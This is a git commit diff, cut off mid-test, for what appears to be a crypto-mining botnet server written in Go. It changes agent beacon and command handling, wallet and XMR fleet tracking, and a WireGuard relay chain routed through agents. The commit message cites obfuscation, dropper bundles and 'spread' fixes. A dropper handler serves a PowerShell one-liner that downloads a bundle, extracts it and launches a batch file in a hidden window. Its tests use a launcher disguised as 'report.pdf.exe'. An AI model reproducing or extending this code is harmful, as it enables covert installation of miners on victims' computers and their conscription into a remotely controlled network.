fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions
--- a/server/internal/alerts/evaluator.go
+++ b/server/internal/alerts/evaluator.go
@@ -224,10 +224,8 @@ func (e *Evaluator) ClearAgent(agentID string) {
 	// Remove cooldown + baseline entries so the agent's next appearance
 	// (e.g. re-registration) starts fresh.
 	delete(e.baseline, agentID)
-	for k := range e.lastFired {
-		if len(k) > len(agentID) && k[len(k)-len(agentID):] == agentID {
-			delete(e.lastFired, k)
-		}
+	for _, prefix := range []string{"offline:", "hashrate:", "reject:"} {
+		delete(e.lastFired, prefix+agentID)
 	}
 }

--- a/server/internal/api/agent_ws_limiter.go
+++ b/server/internal/api/agent_ws_limiter.go
@@ -0,0 +1,41 @@
+package api
+
+import (
+	"sync"
+	"time"
+)
+
+const (
+	agentWSRateLimitMax    = 30
+	agentWSRateLimitWindow = time.Minute
+	agentWSAuthTimeout     = 45 * time.Second
+)
+
+type agentWSRateLimiter struct {
+	mu       sync.Mutex
+	attempts map[string][]time.Time
+}
+
+var agentWSRateLim = agentWSRateLimiter{attempts: make(map[string][]time.Time)}
+
+func allowAgentWSUpgrade(clientIP string) bool {
+	if clientIP == "" {
+		return true
+	}
+	now := time.Now()
+	cutoff := now.Add(-agentWSRateLimitWindow)
+	agentWSRateLim.mu.Lock()
+	defer agentWSRateLim.mu.Unlock()
+	filtered := agentWSRateLim.attempts[clientIP][:0]
+	for _, t := range agentWSRateLim.attempts[clientIP] {
+		if t.After(cutoff) {
+			filtered = append(filtered, t)
+		}
+	}
+	if len(filtered) >= agentWSRateLimitMax {
+		agentWSRateLim.attempts[clientIP] = filtered
+		return false
+	}
+	agentWSRateLim.attempts[clientIP] = append(filtered, now)
+	return true
+}
--- a/server/internal/api/ai_handler.go
+++ b/server/internal/api/ai_handler.go
@@ -118,6 +118,7 @@ func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
 	defer h.mu.Unlock()
 	if entry, ok := h.engines[agentID]; ok {
 		entry.lastUsed = time.Now()
+		h.engines[agentID] = entry
 		return entry.engine
 	}
 	return nil
--- a/server/internal/api/beacon.go
+++ b/server/internal/api/beacon.go
@@ -52,8 +52,19 @@ func (h *WSHub) initBeaconMaps() {
 	}
 }

-// MarkBeaconSeen records a successful HTTPS beacon from an agent.
+func (h *WSHub) agentExistsInDB(agentID string) bool {
+	if h.db == nil || agentID == "" {
+		return false
+	}
+	_, err := h.db.GetAgent(agentID)
+	return err == nil
+}
+
+// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
 func (h *WSHub) MarkBeaconSeen(agentID string) {
+	if !h.agentExistsInDB(agentID) {
+		return
+	}
 	h.initBeaconMaps()
 	h.beaconMu.Lock()
 	h.beaconLastSeen[agentID] = time.Now()
@@ -84,7 +95,7 @@ func (h *WSHub) IsAgentReachable(agentID string) bool {

 // EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
 func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
-	if !h.isAgentBeaconReachable(agentID) {
+	if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
 		return false
 	}
 	cmd := BeaconCommand{Action: action}
@@ -188,7 +199,6 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
 		return
 	}

-	h.MarkBeaconSeen(agentID)
 	if h.db != nil {
 		if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
 			display := req.Hostname
@@ -204,6 +214,7 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
 			})
 		}
 	}
+	h.MarkBeaconSeen(agentID)
 	h.applyBeaconStats(agentID, req.Stats)
 	cmds := h.dequeueBeaconCommands(agentID)
 	writeJSON(w, beaconResponse{OK: true, Commands: cmds})
--- a/server/internal/api/beacon_test.go
+++ b/server/internal/api/beacon_test.go
@@ -57,6 +57,14 @@ func TestAgentBeaconFleetSecretAuth(t *testing.T) {
 	}
 }

+func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
+	hub := NewWSHub(nil)
+	hub.MarkBeaconSeen("ghost-agent")
+	if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
+		t.Fatal("enqueue should fail for unknown agent")
+	}
+}
+
 func TestBeaconCommandQueueRoundtrip(t *testing.T) {
 	database, err := db.New(t.TempDir())
 	if err != nil {
--- a/server/internal/api/dropper_handler.go
+++ b/server/internal/api/dropper_handler.go
@@ -3,10 +3,12 @@ package api
 import (
 	"fmt"
 	"net/http"
+	"os"
 	"path/filepath"
 	"strings"

 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
 )

 // DropperHandler serves the one-liner remote-install endpoints:
@@ -17,11 +19,12 @@ import (
 //	GET /install.ps1      — PowerShell one-liner installer (Windows)
 type DropperHandler struct {
 	db            *dbpkg.Database
+	dataDir       string
 	publicURLFunc func() string
 }

-func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
-	return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
+func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
+	return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
 }

 func (h *DropperHandler) publicURL() string {
@@ -74,8 +77,7 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
 	for _, p := range candidates {
 		b, err := h.db.GetLatestBuildForPlatform(p)
 		if err == nil && b != nil {
-			buildPath = b.FilePath
-			buildName = filepath.Base(b.FilePath)
+			buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
 			break
 		}
 	}
@@ -181,7 +183,7 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
 		"    $dir = $tmp + '_bundle'" + nl +
 		"    Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
 		"    [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
-		"    foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
+		"    foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
 		"        $c = Join-Path $dir $name" + nl +
 		"        if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
 		"    }" + nl +
@@ -208,13 +210,37 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
 		scheme = "https"
 	}
 	// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
-	if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
+	if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
 		scheme = "https"
 	}
 	// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
-	host := r.Header.Get("X-Forwarded-Host")
+	host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
 	if host == "" {
 		host = r.Host
 	}
 	return scheme + "://" + host
 }
+
+// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
+func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
+	if b == nil {
+		return "", ""
+	}
+	dl := strings.TrimSpace(b.DownloadURL)
+	if dl != "" && strings.Contains(dl, "/artifact/") {
+		parts := strings.Split(dl, "/artifact/")
+		if len(parts) == 2 && parts[1] != "" {
+			artifactName := filepath.Base(parts[1])
+			candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
+			if _, err := os.Stat(candidate); err == nil {
+				return candidate, artifactName
+			}
+		}
+	}
+	path = b.FilePath
+	name = strings.TrimSpace(b.FileName)
+	if name == "" && path != "" {
+		name = filepath.Base(path)
+	}
+	return path, name
+}
--- a/server/internal/api/dropper_handler_test.go
+++ b/server/internal/api/dropper_handler_test.go
@@ -21,7 +21,7 @@ func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string)
 		t.Fatal(err)
 	}
 	t.Cleanup(func() { _ = database.Close() })
-	return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
+	return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
 }

 func TestDetectPlatformQueryParam(t *testing.T) {
@@ -113,7 +113,7 @@ func TestDropperResolveBasePublicURL(t *testing.T) {
 }

 func TestDropperResolveBaseFromRequest(t *testing.T) {
-	h := NewDropperHandler(nil, nil)
+	h := NewDropperHandler(nil, "", nil)
 	req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
 	req.Host = "deck.local:8989"
 	req.Header.Set("X-Forwarded-Host", "proxy.example.com")
@@ -136,6 +136,66 @@ func TestDropperServeShContent(t *testing.T) {
 	}
 }

+func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
+	h, database, dataDir := newTestDropperHandler(t)
+	buildID := "fusion-bundle"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	launcherPath := filepath.Join(buildDir, "report.pdf.exe")
+	bundlePath := filepath.Join(buildDir, "report-package.zip")
+	if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	bundleContent := []byte("zip-bundle-with-payload")
+	if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+		FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
+		CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+
+	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
+	rec := httptest.NewRecorder()
+	h.ServeGet(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.String() != string(bundleContent) {
+		t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
+		t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
+	}
+}
+
+func TestResolveDropperArtifact(t *testing.T) {
+	dataDir := t.TempDir()
+	buildID := "bid"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	bundle := filepath.Join(buildDir, "kit.zip")
+	if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	b := &models.BuildRecord{
+		ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
+	}
+	path, name := resolveDropperArtifact(dataDir, b)
+	if path != bundle || name != "kit.zip" {
+		t.Fatalf("artifact resolve: path=%q name=%q", path, name)
+	}
+}
+
 func TestDropperServePs1Content(t *testing.T) {
 	h, _, _ := newTestDropperHandler(t)
 	req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
@@ -147,4 +207,7 @@ func TestDropperServePs1Content(t *testing.T) {
 	if !strings.Contains(rec.Body.String(), "DownloadFile") {
 		t.Fatal("expected PowerShell download snippet")
 	}
+	if !strings.Contains(rec.Body.String(), "start.bat") {
+		t.Fatal("expected lowercase start.bat in PS1 launcher list")
+	}
 }
--- a/server/internal/api/fleet_handler.go
+++ b/server/internal/api/fleet_handler.go
@@ -155,21 +155,16 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
 	}
 	f.xmrPriceMu.Unlock()

-	client := &http.Client{Timeout: 8 * time.Second}
-	resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
+	usd, err := fetchCoinGeckoXMRPrice()
 	if err != nil {
-		http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
+		status := http.StatusServiceUnavailable
+		msg := err.Error()
+		if strings.Contains(msg, "status") || strings.Contains(msg, "parse") {
+			status = http.StatusBadGateway
+		}
+		http.Error(w, "price fetch failed: "+msg, status)
 		return
 	}
-	defer resp.Body.Close()
-	body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
-
-	var raw map[string]map[string]float64
-	if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
-		http.Error(w, "price parse failed", http.StatusBadGateway)
-		return
-	}
-	usd := raw["monero"]["usd"]

 	entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
 	f.xmrPriceMu.Lock()
@@ -183,6 +178,41 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
 	})
 }

+const coingeckoXMRURL = "https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd"
+
+func fetchCoinGeckoXMRPrice() (float64, error) {
+	client := &http.Client{Timeout: 8 * time.Second}
+	var lastErr error
+	for attempt := 0; attempt < 3; attempt++ {
+		if attempt > 0 {
+			time.Sleep(time.Duration(attempt) * 400 * time.Millisecond)
+		}
+		resp, err := client.Get(coingeckoXMRURL) //nolint:gosec
+		if err != nil {
+			lastErr = err
+			continue
+		}
+		body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
+		resp.Body.Close()
+		if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode >= 500 {
+			lastErr = fmt.Errorf("coingecko status %d", resp.StatusCode)
+			continue
+		}
+		if resp.StatusCode != http.StatusOK {
+			return 0, fmt.Errorf("coingecko status %d", resp.StatusCode)
+		}
+		var raw map[string]map[string]float64
+		if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
+			return 0, fmt.Errorf("price parse failed")
+		}
+		return raw["monero"]["usd"], nil
+	}
+	if lastErr != nil {
+		return 0, lastErr
+	}
+	return 0, fmt.Errorf("price fetch failed")
+}
+
 // GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
 func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
 	f.GetEarnings(w, r)
--- a/server/internal/api/fleet_handler_test.go
+++ b/server/internal/api/fleet_handler_test.go
@@ -387,6 +387,32 @@ func TestFleetGetXMRPriceParseError(t *testing.T) {
 	}
 }

+func TestFleetGetXMRPriceRetriesOn429(t *testing.T) {
+	attempts := 0
+	setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+		attempts++
+		rec := httptest.NewRecorder()
+		if attempts < 2 {
+			rec.WriteHeader(http.StatusTooManyRequests)
+			_, _ = rec.Write([]byte(`{"error":"rate limit"}`))
+			return rec.Result(), nil
+		}
+		rec.Header().Set("Content-Type", "application/json")
+		_, _ = rec.Write([]byte(`{"monero":{"usd":123.45}}`))
+		return rec.Result(), nil
+	})
+
+	fh, _, _, _ := newTestFleetHandler(t)
+	rec := httptest.NewRecorder()
+	fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
+	if rec.Code != http.StatusOK {
+		t.Fatalf("expected 200 after retry, got %d body %s", rec.Code, rec.Body.String())
+	}
+	if attempts < 2 {
+		t.Fatalf("expected retry on 429, attempts=%d", attempts)
+	}
+}
+
 func TestFleetEstimateXMRPerDay(t *testing.T) {
 	zero := EstimateXMRPerDay(0)
 	if zero["xmr_per_day"].(float64) != 0 {
--- a/server/internal/api/handlers.go
+++ b/server/internal/api/handlers.go
@@ -58,6 +58,10 @@ func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
 // GET /api/v1/agents/{id}/stats
 func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
 	id := chi.URLParam(r, "id")
+	if _, err := h.db.GetAgent(id); err != nil {
+		http.Error(w, "Agent not found", http.StatusNotFound)
+		return
+	}
 	limitStr := r.URL.Query().Get("limit")
 	limit := 100
 	if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
--- a/server/internal/api/handlers_test.go
+++ b/server/internal/api/handlers_test.go
@@ -64,8 +64,8 @@ func TestGetAgentStatsLimitCap(t *testing.T) {
 	r := chi.NewRouter()
 	r.Get("/agents/{id}/stats", h.GetAgentStats)
 	r.ServeHTTP(rec, req)
-	if rec.Code == http.StatusInternalServerError {
-		t.Fatalf("limit cap caused 500: %s", rec.Body.String())
+	if rec.Code != http.StatusNotFound {
+		t.Fatalf("unknown agent should 404, got %d: %s", rec.Code, rec.Body.String())
 	}
 }

--- a/server/internal/api/integration_test.go
+++ b/server/internal/api/integration_test.go
@@ -76,8 +76,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
 	_ = os.MkdirAll(webRoot, 0755)
 	_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)

-	dropperHandler := NewDropperHandler(database, nil)
-	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
+	dropperHandler := NewDropperHandler(database, dataDir, nil)
+	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
 }

 func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
--- a/server/internal/api/pathtracer_handler.go
+++ b/server/internal/api/pathtracer_handler.go
@@ -57,17 +57,61 @@ type TraceSession struct {
 	clientPubKey  string
 }

+const (
+	pathTraceSessionTTL      = 2 * time.Hour
+	pathTraceCleanupInterval = 5 * time.Minute
+)
+
 // PathTracerHandler manages on-demand WireGuard chain sessions.
 type PathTracerHandler struct {
 	hub      *WSHub
 	mu       sync.Mutex
 	sessions map[string]*TraceSession
+	stopCh   chan struct{}
 }

 func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
-	return &PathTracerHandler{
+	h := &PathTracerHandler{
 		hub:      hub,
 		sessions: make(map[string]*TraceSession),
+		stopCh:   make(chan struct{}),
+	}
+	go h.sessionCleanupLoop()
+	return h
+}
+
+func (h *PathTracerHandler) sessionCleanupLoop() {
+	ticker := time.NewTicker(pathTraceCleanupInterval)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-ticker.C:
+			h.expireSessions()
+		case <-h.stopCh:
+			return
+		}
+	}
+}
+
+func (h *PathTracerHandler) expireSessions() {
+	now := time.Now()
+	var expired []*TraceSession
+	h.mu.Lock()
+	for id, sess := range h.sessions {
+		if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
+			expired = append(expired, sess)
+			delete(h.sessions, id)
+		}
+	}
+	h.mu.Unlock()
+	for _, sess := range expired {
+		log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
+		for _, hop := range sess.Hops {
+			_ = h.hub.writeAgentJSON(hop.AgentID, Message{
+				Type:    "command",
+				Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
+			})
+		}
 	}
 }

@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
 				if p == 0 {
 					p = 51820
 				}
-				// If UPnP failed, fall back to the IP the server saw.
+				// If UPnP failed, fall back to the agent's last known IP in the DB.
 				ip := res.ExternalIP
 				if ip == "" {
-					if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
-						ip = hop.ExternalIP // pre-filled below
+					if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
+						ip = ag.IP
 					}
 				}
 				results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
 	}

 	// Phase 2: send wg_configure to each hop.
-	// Build per-hop configs:
-	//   - Last hop: peer = none (it's the exit), just IP forwarding
-	//   - Middle hops: peer = next hop
-	//   - First hop: peer = next hop, or none if single-hop (client connects directly)
-	//
+	// Topology:
+	//   - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
+	//   - Relay hops also peer forward to the next hop (0.0.0.0/0).
+	//   - Middle/exit hops peer back to the previous hop for reverse routing.
 	// The CLIENT config always points to the FIRST hop.

 	type cfgResp struct {
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
 			"local_address":        hop.LocalAddr,
 			"listen_port":          hop.Port,
 			"enable_ip_forwarding": true,
-		}
-
-		// Peers for this hop: only for relay hops (all except the exit/last hop).
-		if i < len(sess.Hops)-1 {
-			nextHop := sess.Hops[i+1]
-			payload["peers"] = []map[string]interface{}{
-				{
-					"public_key":           nextHop.PublicKey,
-					"endpoint":             fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
-					"allowed_ips":          "0.0.0.0/0",
-					"persistent_keepalive": 25,
-				},
-			}
-		} else {
-			payload["peers"] = []map[string]interface{}{}
+			"peers":                buildHopPeers(sess, i),
 		}

 		dataJSON, _ := json.Marshal(payload)

 		ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
-		_ = h.hub.writeAgentJSON(hop.AgentID, Message{
+		if err := h.hub.writeAgentJSON(hop.AgentID, Message{
 			Type: "command",
 			Payload: mustMarshal(map[string]interface{}{
 				"action": "wg_configure",
 				"data":   string(dataJSON),
 			}),
-		})
+		}); err != nil {
+			h.hub.CancelAwait(hop.AgentID, "wg_configure")
+			cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
+			continue
+		}

 		go func() {
 			select {
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
 	log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
 }

+// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
+func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
+	var peers []map[string]interface{}
+
+	// Hop 1 is the client entry point — always accept the phone/client tunnel.
+	if i == 0 {
+		peers = append(peers, map[string]interface{}{
+			"public_key":           sess.clientPubKey,
+			"allowed_ips":          "10.66.0.1/32",
+			"persistent_keepalive": 25,
+		})
+	}
+
+	// Forward peer: route outbound traffic to the next hop in the chain.
+	if i < len(sess.Hops)-1 {
+		nextHop := sess.Hops[i+1]
+		peers = append(peers, map[string]interface{}{
+			"public_key":           nextHop.PublicKey,
+			"endpoint":             fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
+			"allowed_ips":          "0.0.0.0/0",
+			"persistent_keepalive": 25,
+		})
+	}
+
+	// Reverse peer: return traffic toward the client via the previous hop.
+	if i > 0 {
+		prevHop := sess.Hops[i-1]
+		peers = append(peers, map[string]interface{}{
+			"public_key":           prevHop.PublicKey,
+			"allowed_ips":          "10.66.0.1/32",
+			"persistent_keepalive": 25,
+		})
+	}
+
+	return peers
+}
+
 // buildClientConfig generates the WireGuard config text the user scans/imports.
 func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
 	h.mu.Lock()
--- a/server/internal/api/pathtracer_handler_test.go
+++ b/server/internal/api/pathtracer_handler_test.go
@@ -0,0 +1,378 @@
+package api
+
+import (
+	"bytes"
+	"context"
+	"encoding/base64"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+
+	"github.com/go-chi/chi/v5"
+	"github.com/gorilla/websocket"
+)
+
+func testTraceSession(hopCount int) *TraceSession {
+	sess := &TraceSession{
+		ID:            "sess-test-12345678",
+		clientPubKey:  "CLIENT_PUB_KEY_B64",
+		clientPrivKey: "CLIENT_PRIV_KEY_B64",
+	}
+	for i := 0; i < hopCount; i++ {
+		sess.Hops = append(sess.Hops, &HopInfo{
+			AgentID:    fmt.Sprintf("agent-%d", i+1),
+			PublicKey:  fmt.Sprintf("HOP%d_PUB", i+1),
+			ExternalIP: fmt.Sprintf("203.0.113.%d", i+1),
+			Port:       51820 + i,
+			LocalAddr:  fmt.Sprintf("10.66.0.%d/24", i+2),
+			Status:     HopReady,
+		})
+	}
+	return sess
+}
+
+func peerKeys(peers []map[string]interface{}) []string {
+	out := make([]string, 0, len(peers))
+	for _, p := range peers {
+		out = append(out, p["public_key"].(string))
+	}
+	return out
+}
+
+func TestBuildHopPeersSingleHop(t *testing.T) {
+	sess := testTraceSession(1)
+	peers := buildHopPeers(sess, 0)
+	if len(peers) != 1 {
+		t.Fatalf("single-hop want 1 peer (client), got %d: %+v", len(peers), peers)
+	}
+	if peers[0]["public_key"] != sess.clientPubKey {
+		t.Fatalf("expected client peer, got %+v", peers[0])
+	}
+	if peers[0]["allowed_ips"] != "10.66.0.1/32" {
+		t.Fatalf("client allowed_ips = %v", peers[0]["allowed_ips"])
+	}
+	if _, hasEndpoint := peers[0]["endpoint"]; hasEndpoint {
+		t.Fatal("client peer should not have endpoint")
+	}
+}
+
+func TestBuildHopPeersTwoHop(t *testing.T) {
+	sess := testTraceSession(2)
+	hop1 := buildHopPeers(sess, 0)
+	if len(hop1) != 2 {
+		t.Fatalf("hop1 want client+forward peers, got %d", len(hop1))
+	}
+	if peerKeys(hop1)[0] != sess.clientPubKey {
+		t.Fatal("hop1 first peer should be client")
+	}
+	if peerKeys(hop1)[1] != sess.Hops[1].PublicKey {
+		t.Fatal("hop1 second peer should be next hop")
+	}
+
+	hop2 := buildHopPeers(sess, 1)
+	if len(hop2) != 1 {
+		t.Fatalf("exit hop want reverse peer only, got %d: %+v", len(hop2), hop2)
+	}
+	if hop2[0]["public_key"] != sess.Hops[0].PublicKey {
+		t.Fatal("exit hop should peer back to hop1")
+	}
+	if hop2[0]["allowed_ips"] != "10.66.0.1/32" {
+		t.Fatalf("reverse allowed_ips = %v", hop2[0]["allowed_ips"])
+	}
+}
+
+func TestBuildHopPeersThreeHop(t *testing.T) {
+	sess := testTraceSession(3)
+	mid := buildHopPeers(sess, 1)
+	if len(mid) != 2 {
+		t.Fatalf("middle hop want forward+reverse, got %d", len(mid))
+	}
+	keys := peerKeys(mid)
+	if keys[0] != sess.Hops[2].PublicKey {
+		t.Fatal("middle hop forward peer should be hop3")
+	}
+	if keys[1] != sess.Hops[0].PublicKey {
+		t.Fatal("middle hop reverse peer should be hop1")
+	}
+}
+
+func TestPathTracerSessionExpiry(t *testing.T) {
+	hub := NewWSHub(nil)
+	h := NewPathTracerHandler(hub)
+	sess := &TraceSession{
+		ID:        "expired-session-id",
+		CreatedAt: time.Now().Add(-pathTraceSessionTTL - time.Minute),
+		Hops:      []*HopInfo{{AgentID: "gone-agent"}},
+	}
+	h.mu.Lock()
+	h.sessions[sess.ID] = sess
+	h.mu.Unlock()
+
+	h.expireSessions()
+
+	h.mu.Lock()
+	_, ok := h.sessions[sess.ID]
+	h.mu.Unlock()
+	if ok {
+		t.Fatal("expired session should be removed")
+	}
+}
+
+func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey string) {
+	t.Helper()
+	conn := connectTestAgent(t, hub, agentID)
+	go func() {
+		for {
+			var msg Message
+			if err := conn.ReadJSON(&msg); err != nil {
+				return
+			}
+			if msg.Type != "command" {
+				continue
+			}
+			var payload map[string]interface{}
+			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
+				continue
+			}
+			action, _ := payload["action"].(string)
+			switch action {
+			case "wg_setup":
+				setup, _ := json.Marshal(map[string]interface{}{
+					"public_key":    pubKey,
+					"external_ip":   "198.51.100.10",
+					"external_port": 51820,
+				})
+				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
+					"action": "wg_setup", "success": true, "message": string(setup),
+				})})
+			case "wg_configure":
+				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
+					"action": "wg_configure", "success": true,
+				})})
+			case "wg_teardown":
+				return
+			}
+		}
+	}()
+}
+
+func TestPathTracerOrchestrationSingleHop(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	handler := NewPathTracerHandler(hub)
+	agentID := "trace-agent-1"
+	startPathTracerAgentResponder(t, hub, agentID, "AGENT1_PUBKEY")
+
+	body := `{"agent_ids":["` + agentID + `"]}`
+	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	handler.Start(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
+	}
+
+	var startResp map[string]interface{}
+	if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
+		t.Fatal(err)
+	}
+	sessionID, _ := startResp["session_id"].(string)
+	if sessionID == "" {
+		t.Fatal("missing session_id")
+	}
+
+	deadline := time.Now().Add(5 * time.Second)
+	ready := false
+	for time.Now().Before(deadline) {
+		rc := chi.NewRouteContext()
+		rc.URLParams.Add("id", sessionID)
+		req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+sessionID+"/status", nil)
+		req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rc))
